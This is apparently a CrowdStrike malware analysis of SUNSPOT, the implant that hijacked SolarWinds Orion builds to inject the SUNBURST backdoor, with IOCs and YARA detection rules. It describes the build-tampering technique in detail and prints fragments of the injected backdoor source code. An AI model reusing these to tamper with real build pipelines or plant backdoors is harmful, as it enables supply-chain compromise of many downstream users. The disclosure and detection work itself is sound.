SUNSPOT: An Implant in the Build Process

In December 2020, the industry was rocked by the disclosure of a complex supply chain attack against SolarWinds, Inc., a leading provider of network performance monitoring tools used by organizations of all sizes across the globe. CrowdStrike and another firm have been supporting SolarWinds in its investigation and root cause analysis of the events that led to the inclusion of unauthorized malicious code into its build cycle. In coordination with SolarWinds, which has posted a blog detailing its efforts to ensure the security of its customers and build processes, CrowdStrike is providing a technical analysis of a malicious tool that was deployed into the build environment to inject this backdoor into the SolarWinds Orion platform without arousing the suspicion of the development team charged with delivering the product. At this time, CrowdStrike does not attribute the SUNSPOT implant, SUNBURST backdoor or TEARDROP post-exploitation tool to any known adversary; as such, CrowdStrike Intelligence is tracking this intrusion under the StellarParticle activity cluster.

Key Points

  • SUNSPOT is StellarParticle’s malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product.
  • SUNSPOT monitors running processes for those involved in compilation of the Orion product and replaces one of the source files to include the SUNBURST backdoor code.
  • Several safeguards were added to SUNSPOT to avoid the Orion builds from failing, potentially alerting developers to the adversary’s presence.

     

Analysis of a SolarWinds software build server provided insights into how the process was hijacked by StellarParticle in order to insert SUNBURST into the update packages. The design of SUNSPOT suggests StellarParticle developers invested a lot of effort to ensure the code was properly inserted and remained undetected, and prioritized operational security to avoid revealing their presence in the build environment to SolarWinds developers.

Technical Analysis

SUNSPOT was identified on disk with a filename of taskhostsvc.exe (SHA256 Hash: c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168), and internally named taskhostw.exe by its developers. It was likely built on 2020-02-20 11:40:02, according to the build timestamp found in the binary, which is consistent with the currently assessed StellarParticle supply chain attack timeline. StellarParticle operators maintained the persistence of SUNSPOT by creating a scheduled task set to execute when the host boots.

 

Initialization and Logging

When SUNSPOT executes, it creates a mutex named {12d61a41-4b74-7610-a4d8-3028d2f56395} to ensure only one instance is running. It then creates an encrypted log file at C:\Windows\Temp\vmware-vmdmp.log. Individual log entries are encrypted with the stream cipher RC4, using the hard-coded key FC F3 2A 83 E5 F6 D0 24 A6 BF CE 88 30 C2 48 E7. Throughout execution, SUNSPOT will log errors to this file, along with other deployment information. Log entries are delineated by the hex string 32 78 A5 E7 1A 79 91 AC and begin with the number of seconds elapsed since the first log line. Most log lines corresponding to an error contain a step number (e.g., Step19) requiring knowledge of the malware to understand their meaning. These steps and their mapping to the malware actions are provided at the end of this blog. The step numbering does not follow the actual execution order, suggesting the calls to the logging function were added by the developers during the creation of the malware as they progressed and needed to focus their efforts on debugging one part of the code. An extract of a log file generated by SUNSPOT in a test environment is given below.
0.000 START 22.781<3148> + 'msbuild.exe' <6252> 181.421<3148> - 0 194.343<3148> - 194.343<13760> + 'msbuild.exe' <6252> 322.812<13760> - 0 324.250<13760> - 324.250<14696> + 'msbuild.exe' <6252> 351.125<14696> - 0 352.031<14176> + 'msbuild.exe' <6252> 369.203<14696> - 375.093<14176> - 0 376.343<14176> - 376.343<11864> + 'msbuild.exe' <6252> 426.500<11864> - 0 439.953<11864> - 439.953<9204> + 'msbuild.exe' <6252> 485.343<9204> Solution directory: C:\Users\User\Source 485.343 Step4('C:\Users\User\Source\Src\Lib\SolarWinds.Orion.Core.BusinessLayer\BackgroundInventory\InventoryManager.cs') fails
The malware then grants itself debugging privileges by modifying its security token to add SeDebugPrivilege. This step is a prerequisite for the remainder of SUNSPOT’s execution, which involves reading other processes' memory.

 

Build Hijacking Steps

Monitoring of Running Software Build Processes

After initialization, SUNSPOT monitors running processes for instances of MsBuild.exe, which is part of Microsoft Visual Studio development tools. Copies of MsBuild.exe are identified by hashing the name of each running process and comparing it to the corresponding value, 0x53D525. The hashing algorithm used for the comparison is ElfHash and is provided in Python in Figure 1.

def elf_hash(name):

 

 

 

 

# Test input: b'msbuild.exe'

 

 

 

 

# Test output: 0x53D525

 

 

 

 

h =
0

 

 

 

 

for c in name:

 

 

 

 

 

 

 

 

v = (c + (h <<
4))

 

 

 

 

 

 

 

 

msb = v &
0xF0000000

 

 

 

 

 

 

 

 

if msb != 0:

 

 

 

 

 

 

 

 

 

 

 

 

v ^= (msb >>
24)

 

 

 

 

 

 

 

 

h = ~msb & v

 

 

 

 

return h

Figure 1. Process Name Hashing Logic When SUNSPOT finds an MsBuild.exe process, it will spawn a new thread to determine if the Orion software is being built and, if so, hijack the build operation to inject SUNBURST. The monitoring loop executes every second, allowing SUNSPOT to modify the target source code before it has been read by the compiler. Although the mutex created during the initialization should already prevent multiple process monitoring loops from running, the malware checks for the presence of a second mutex — {56331e4d-76a3-0390-a7ee-567adf5836b7}. If this mutex is found, the backdoor interprets it as a signal to quit, waits for the completion of its currently running backdoor injection threads, and exits. This mutex was likely intended to be used by StellarParticle operators to discreetly stop the malware, instead of using a riskier method such as killing the process. Stopping SUNSPOT in the middle of its operation could result in unfinished tampering of the Orion source code, and lead to Orion build errors that SolarWinds developers would investigate, revealing the adversary’s presence.

Command-Line Arguments Extraction from Process Memory

The malware extracts the command-line arguments for each running MsBuild.exe process from the virtual memory using a methodology similar to one publicly documented1. A call to NtQueryInformationProcess allows the adversary to obtain a pointer to the remote process’s Process Environment Block (PEB), which contains a pointer to a _RTL_USER_PROCESS_PARAMETERS structure. The latter is read to get the full command line passed to the MsBuild.exe process. The command line is then parsed to extract individual arguments, and SUNSPOT looks for the directory path of the Orion software Visual Studio solution. This value is hard-coded in the binary, in an encrypted form using AES128-CBC, whose parameters are given below. The same material is used for all of the blobs encrypted with AES in the binary.
key = FC F3 2A 83 E5 F6 D0 24 A6 BF CE 88 30 C2 48 E7 (same as the RC4 key) iv

 

= 81 8C 85 49 B9 00 06 78 0B E9 63 60 26 64 B2 DA
The key and initialization vector (IV) are not unique and can be independently found in other binary samples of several popular video games. It is plausible the material was chosen on purpose in order to make static detections on the values impractical.

Orion Source Code Replacement

When SUNSPOT finds the Orion solution file path in a running MsBuild.exe process, it replaces a source code file in the solution directory, with a malicious variant to inject SUNBURST while Orion is being built. While SUNSPOT supports replacing multiple files, the identified copy only replaces InventoryManager.cs.

 

The malicious source code for SUNBURST, along with target file paths, are stored in AES128-CBC encrypted blobs and are protected using the same key and initialization vector. As causing build errors would very likely prompt troubleshooting actions from the Orion developers and lead to the adversary’s discovery, the SUNSPOT developers included a hash verification check, likely to ensure the injected backdoored code is compatible with a known source file, and also avoid replacing the file with garbage data from a failed decryption. In the exemplar SUNSPOT sample, the MD5 hash for the backdoored source code is 5f40b59ee2a9ac94ddb6ab9e3bd776ca. If the decryption of the parameters (target file path and replacement source code) is successful and if the MD5 checks pass, SUNSPOT proceeds with the replacement of the source file content. The original source file is copied with a .bk extension (e.g., InventoryManager.bk), to back up the original content. The backdoored source is written to the same filename, but with a .tmp extension (e.g., InventoryManager.tmp), before being moved using MoveFileEx to the original filename (InventoryManager.cs). After these steps, the source file backdoored with SUNBURST will then be compiled as part of the standard process. SUNSPOT appends an entry in the log file with the date and time of the backdoor attempt and waits for the MsBuild.exe process to exit before restoring the original source code and deleting the temporary InventoryManager.bk file. If the Orion solution build is successful, it is backdoored with SUNBURST.

SUNBURST Source Code

The source code of SUNBURST was likely sanitized before being included in SUNSPOT. The use of generic variable names, pre-obfuscated strings, and the lack of developer comments or disabled code is similar to what could be obtained after decompiling a backdoored Orion binary, as illustrated in Figure 2, which provides a comparison between the injected source code (top) and a decompilation output (bottom).
private static class ProcessTracker{

 

 

 

private static readonly object _lock = new object();

 

 

 

private static bool
SearchConfigurations()

 

 

 

{

 

 

 

 

 

 

 

using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==")))

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

foreach (ManagementObject item in managementObjectSearcher.Get())

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ulong hash = GetHash(Path.GetFileName(item.Properties<ZipHelper.Unzip("C0gsyfBLzE0FAA==")>.Value.ToString()).ToLower());

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if (Array.IndexOf(configTimeStamps, hash) != -1)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return true;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

return false;

 

 

 

}

 

private static class ProcessTracker{

 

 

 

// Token: 0x0600097C RID: 2428 RVA: 0x000435A4 File Offset: 0x000417A4

 

 

 

private static bool SearchConfigurations()

 

 

 

{

 

 

 

 

 

 

 

using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==")))

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ulong hash = OrionImprovementBusinessLayer.GetHash(Path.GetFileName(((ManagementObject)managementBaseObject).Properties<OrionImprovementBusinessLayer.ZipHelper.Unzip("C0gsyfBLzE0FAA==")>.Value.ToString()).ToLower());

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.configTimeStamps, hash) != -1)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return true;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

return false;

 

 

 

}
Figure 2. Comparison between injected source code (top) and decompiled using DnSpy (bottom) In order to remove compilation warnings that could be generated by the adversary’s own code — which could alert the SolarWinds developers — StellarParticle made their edits within #pragma warning disable and #pragma warning restore statements, hinting at what parts were edited. In particular, SUNSPOT’s entry point was added to the legitimate Orion software RefreshInternal function by adding the following try/catch block:
try {

 

 

 

if (!OrionImprovementBusinessLayer.IsAlive) {

 

 

 

 

 

 

 

Thread th = new Thread(OrionImprovementBusinessLayer.Initialize)

 

 

 

 

 

 

 

 

 

 

 

{ IsBackground = true };

 

 

 

 

 

 

 

th.Start();

 

 

 

} } catch (Exception) { }

Tactics, Techniques and Procedures (TTPs)

The following TTPs may be used to characterize the SUNSPOT activity described in this blog:
  • Persistence using scheduled tasks, triggered at boot time
  • Use of AES128-CBC to protect the targeted source code files and the backdoored source code file in the binary
  • Use of RC4 encryption with a hard-coded key to protect the log file entries
  • Log entries from different executions of the malware that are separated with a hard-coded value 32 78 A5 E7 1A 79 91 AC
  • Log file creation in the system temp directory C:\Windows\Temp\vmware-vmdmp.log masquerading as a legitimate VMWare log file
  • Detection of the targeted Visual Studio solution build by reading the virtual memory of MsBuild.exe processes, looking for the targeted solution filename
  • Access to the remote process arguments made via the remote process’s PEB structure
  • Replacement of source code files during the build process, before compilation, by replacing file content with another version containing SUNBURST
  • Insertion of the backdoor code within #pragma statements disabling and restoring warnings, to prevent the backdoor code lines from appearing in build logs
  • Check of the MD5 hashes of the original source code and of the backdoored source code to ensure the tampering will not cause build errors
  • Attempt to open a non-existing mutex to detect when the malware operators want the backdoor to stop execution and safely exit

Host Indicators of Attack

The tables below detail files belonging to the SUNSPOT campaigns including filename, SHA256 hash, and build time when known.

Executables

FilenameSHA256 HashBuild Time (UTC)
taskhostsvc.exec45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef1682020-02-20 11:40:02

Related Files

DescriptionSHA256 Hash
Backdoored Orion source code with SUNSPOT0819db19be479122c1d48743e644070a8dc9a1c852df9a8c0dc2343e904da389

File System

The presence of one or more of the following files may indicate a SUNSPOT infection.
File PathDescription
C:\Windows\Temp\vmware-vmdmp.logEncrypted log file

Volatile Artifacts

NameTypeDescription
{12d61a41-4b74-7610-a4d8-3028d2f56395}MutexEnsures a single implant instance
{56331e4d-76a3-0390-a7ee-567adf5836b7}MutexUsed to signal to the malware to safely exit

YARA Rules

rule CrowdStrike_SUNSPOT_01 : artifact stellarparticle sunspot

 

{

 

 

 

 

meta:

 

 

 

 

 

 

 

 

copyright = "(c) 2021 CrowdStrike Inc."

 

 

 

 

 

 

 

 

description = "Detects RC4 and AES key encryption material in SUNSPOT"

 

 

 

 

 

 

 

 

version = "202101081448"

 

 

 

 

 

 

 

 

last_modified = "2021-01-08"

 

 

 

 

 

 

 

 

actor = "StellarParticle"

 

 

 

 

 

 

 

 

malware_family = "SUNSPOT"

 

 

 

 

strings:

 

 

 

 

 

 

 

 

$key = {fc f3 2a 83 e5 f6 d0 24 a6 bf ce 88 30 c2 48 e7}

 

 

 

 

 

 

 

 

$iv

 

= {81 8c 85 49 b9 00 06 78 0b e9 63 60 26 64 b2 da}

 

 

 

 

condition:

 

 

 

 

 

 

 

 

all of them and filesize < 32MB
} rule CrowdStrike_SUNSPOT_02 : artifact stellarparticle sunspot {

 

 

 

 

meta:

 

 

 

 

 

 

 

 

copyright = "(c) 2021 CrowdStrike Inc."

 

 

 

 

 

 

 

 

description = "Detects mutex names in SUNSPOT"

 

 

 

 

 

 

 

 

version = "202101081448"

 

 

 

 

 

 

 

 

last_modified = "2021-01-08"

 

 

 

 

 

 

 

 

actor = "StellarParticle"

 

 

 

 

 

 

 

 

malware_family = "SUNSPOT"

 

 

 

 

strings:

 

 

 

 

 

 

 

 

$mutex_01 = "{12d61a41-4b74-7610-a4d8-3028d2f56395}" wide ascii

 

 

 

 

 

 

 

 

$mutex_02 = "{56331e4d-76a3-0390-a7ee-567adf5836b7}" wide ascii

 

 

 

 

condition:

 

 

 

 

 

 

 

 

any of them and filesize < 10MB
} rule CrowdStrike_SUNSPOT_03 : artifact logging stellarparticle sunspot

 

{

 

 

 

 

meta:

 

 

 

 

 

 

 

 

copyright = "(c) 2021 CrowdStrike Inc."

 

 

 

 

 

 

 

 

description = "Detects log format lines in SUNSPOT"

 

 

 

 

 

 

 

 

version = "202101081443"

 

 

 

 

 

 

 

 

last_modified = "2021-01-08"

 

 

 

 

 

 

 

 

actor = "StellarParticle"

 

 

 

 

 

 

 

 

malware_family = "SUNSPOT"

 

 

 

 

strings:

 

 

 

 

 

 

 

 

$s01 = " ***Step1('%ls','%ls') fails with error %#x***\x0A" ascii

 

 

 

 

 

 

 

 

$s02 = " Step2 fails\x0A" ascii

 

 

 

 

 

 

 

 

$s03 = " Step3 fails\x0A" ascii

 

 

 

 

 

 

 

 

$s04 = " Step4('%ls') fails\x0A" ascii

 

 

 

 

 

 

 

 

$s05 = " Step5('%ls') fails\x0A" ascii

 

 

 

 

 

 

 

 

$s06 = " Step6('%ls') fails\x0A" ascii

 

 

 

 

 

 

 

 

$s07 = " Step7 fails\x0A" ascii

 

 

 

 

 

 

 

 

$s08 = " Step8 fails\x0A" ascii

 

 

 

 

 

 

 

 

$s09 = " Step9('%ls') fails\x0A" ascii

 

 

 

 

 

 

 

 

$s10 = " Step10('%ls','%ls') fails with error %#x\x0A" ascii

 

 

 

 

 

 

 

 

$s11 = " Step11('%ls') fails\x0A" ascii

 

 

 

 

 

 

 

 

$s12 = " Step12('%ls','%ls') fails with error %#x\x0A" ascii

 

 

 

 

 

 

 

 

$s13 = " Step30 fails\x0A" ascii

 

 

 

 

 

 

 

 

$s14 = " Step14 fails with error %#x\x0A" ascii

 

 

 

 

 

 

 

 

$s15 = " Step15 fails\x0A" ascii

 

 

 

 

 

 

 

 

$s16 = " Step16 fails\x0A" ascii

 

 

 

 

 

 

 

 

$s17 = "
Breaches Stop Here